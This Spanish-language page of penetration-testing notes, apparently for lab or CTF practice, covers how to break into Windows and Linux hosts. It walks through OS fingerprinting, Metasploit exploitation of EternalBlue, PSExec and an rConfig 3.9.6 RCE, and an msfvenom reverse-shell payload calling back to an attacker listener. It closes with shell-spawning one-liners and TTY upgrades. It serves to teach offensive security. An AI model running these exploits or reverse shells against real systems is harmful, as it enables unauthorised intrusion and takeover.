infiltrar-windows-y-linux
Infiltrar windows y linux
Section titled “Infiltrar windows y linux”Identificar el sistema operativo
Section titled “Identificar el sistema operativo”Antes de intentar explotar un sistema, hay que determinar qué SO está corriendo para elegir el payload y el exploit correcto.
Fingerprinting por TTL (ICMP)
Section titled “Fingerprinting por TTL (ICMP)”El valor TTL de las respuestas ICMP varía según el SO:
| SO | TTL típico |
|---|---|
| Windows | 128 |
| Linux | 64 |
| Cisco / Networking | 255 |
| macOS | 64 |
ping 192.168.1.50# Si TTL ≈ 128 → probablemente Windows# Si TTL ≈ 64 → probablemente LinuxFingerprinting con Nmap
Section titled “Fingerprinting con Nmap”# Detección de SOsudo nmap -v -O 192.168.1.50
# Resultado esperado en Windows:# OS CPE: cpe:/o:microsoft:windows_10# OS details: Microsoft Windows 10 1709 - 1909
# Con banner grabbingsudo nmap -v 192.168.1.50 --script banner.nse
# Escaneo completonmap -sC -sV -A 192.168.1.50Infiltrar Windows
Section titled “Infiltrar Windows”Vulnerabilidades Windows más explotadas
Section titled “Vulnerabilidades Windows más explotadas”| Vulnerabilidad | CVE | Descripción |
|---|---|---|
| MS08-067 | — | Fallo SMB crítico, usado por Conficker y Stuxnet |
| EternalBlue | MS17-010 | SMBv1 RCE, usado por WannaCry. Afecta Windows 2000 – Server 2016 |
| PrintNightmare | CVE-2021-34527 | RCE en Windows Print Spooler |
| BlueKeep | CVE-2019-0708 | RCE en RDP, afecta hasta Server 2008 R2 |
| Zerologon | CVE-2020-1472 | Fallo criptográfico en Netlogon → Domain Admin |
| SeriousSam | CVE-2021-36934 | Usuarios sin privilegios leen la base de datos SAM |
Ejemplo: EternalBlue con Metasploit (MS17-010)
Section titled “Ejemplo: EternalBlue con Metasploit (MS17-010)”# Paso 1: Verificar si el objetivo es vulnerablemsf6 > use auxiliary/scanner/smb/smb_ms17_010msf6 > set RHOSTS 10.10.10.10msf6 > run# Si aparece "Host is likely VULNERABLE to MS17-010" → proceder
# Paso 2: Seleccionar y configurar el exploitmsf6 > search eternalmsf6 > use exploit/windows/smb/ms17_010_psexecmsf6 > set RHOSTS 10.10.10.10msf6 > set LHOST 10.10.14.5msf6 > set LPORT 4444msf6 > exploit
# Resultado exitoso:# [+] Overwrite complete... SYSTEM session obtained!# meterpreter > getuid# Server username: NT AUTHORITY\SYSTEMEjemplo: PSExec con credenciales (sin exploit)
Section titled “Ejemplo: PSExec con credenciales (sin exploit)”msf6 > use exploit/windows/smb/psexecmsf6 > set RHOSTS 10.10.10.10msf6 > set SMBUser administradormsf6 > set SMBPass contraseñamsf6 > set SHARE ADMIN$msf6 > set LHOST 10.10.14.5msf6 > exploitDesde Meterpreter a shell del sistema
Section titled “Desde Meterpreter a shell del sistema”meterpreter > shell# Abre cmd.exe en el sistema
# Verificar qué shell tenemos# Si el prompt es C:\> → cmd.exe# Si el prompt es PS C:\> → PowerShellInfiltrar Linux / Unix
Section titled “Infiltrar Linux / Unix”Consideraciones antes de atacar Linux
Section titled “Consideraciones antes de atacar Linux”Antes de explotar un sistema Linux conviene responder:
- ¿Qué distribución corre? (CentOS, Ubuntu, Debian…)
- ¿Qué shell y lenguajes de programación están disponibles?
- ¿Qué función tiene el servidor? (web, DB, NFS…)
- ¿Qué aplicación expone?
- ¿Hay CVEs conocidos para esa aplicación y versión?
Ejemplo: Explotar rConfig 3.9.6
Section titled “Ejemplo: Explotar rConfig 3.9.6”# Paso 1: Enumerar con Nmapnmap -sC -sV 10.10.10.10# Resultado: puerto 80 con rConfig 3.9.6
# Paso 2: Buscar exploit en Metasploitmsf6 > search rconfig# Resultado: exploit/linux/http/rconfig_vendors_auth_file_upload_rce
# Paso 3: Configurar y lanzarmsf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rcemsf6 > set RHOSTS 10.10.10.10msf6 > set LHOST 10.10.14.5msf6 > exploit
# El exploit:# 1. Verifica la versión vulnerable de rConfig# 2. Se autentica en la web# 3. Sube un PHP payload como reverse shell# 4. Lo ejecuta y elimina el archivo# 5. Entrega una sesión MeterpreterEntregar un payload MSFvenom a Linux
Section titled “Entregar un payload MSFvenom a Linux”Cuando no hay exploit directo disponible pero se puede entregar un archivo:
# Generar el payloadmsfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf > backup.elf
# Transferirlo al objetivo (cualquier método de file transfer)# En el objetivo: darle permisos de ejecución y ejecutarchmod +x backup.elf && ./backup.elf
# En el atacante: capturar la conexiónnc -lvnp 443Spawning Interactive Shells
Section titled “Spawning Interactive Shells”Al obtener acceso a un sistema, frecuentemente la shell inicial es no-TTY — limitada, sin autocompletado, sin su, sin sudo. Hay varias formas de mejorarla a una shell interactiva completa.
Python
Section titled “Python”# Verificar si Python está disponiblewhich python python3
# Spawnear TTY con Python 2python -c 'import pty; pty.spawn("/bin/sh")'
# Con Python 3python3 -c 'import pty; pty.spawn("/bin/bash")'/bin/sh directamente
Section titled “/bin/sh directamente”/bin/sh -iperl -e 'exec "/bin/sh";'ruby -e 'exec "/bin/sh"'awk 'BEGIN {system("/bin/sh")}'find / -name archivo -exec /bin/sh \; -quitfind . -exec /bin/sh \; -quitvim -c ':!/bin/sh'# O desde dentro de vim:# :set shell=/bin/sh# :shellMejorar la shell con stty
Section titled “Mejorar la shell con stty”Una vez tenemos una TTY básica, mejorarla para tener historial, control de procesos y teclas de función:
# 1. Spawnear una TTY con Pythonpython3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Poner la shell en background (Ctrl+Z)# 3. En el terminal local:stty raw -echo; fg
# 4. De vuelta en la shell del objetivo:resetexport SHELL=bashexport TERM=xterm-256colorstty rows 38 columns 116 # ajustar a tu terminalVerificar permisos disponibles
Section titled “Verificar permisos disponibles”# Permisos de sudo del usuario actualsudo -l
# Permisos de un archivo específicols -la /ruta/al/binarioSi Python no está disponible, probar
script /dev/null -c bash— también spawna una TTY en la mayoría de sistemas Linux modernos.
En shells no interactivas,
sudo -lpuede no funcionar. Necesitas una TTY completa antes de intentarlo.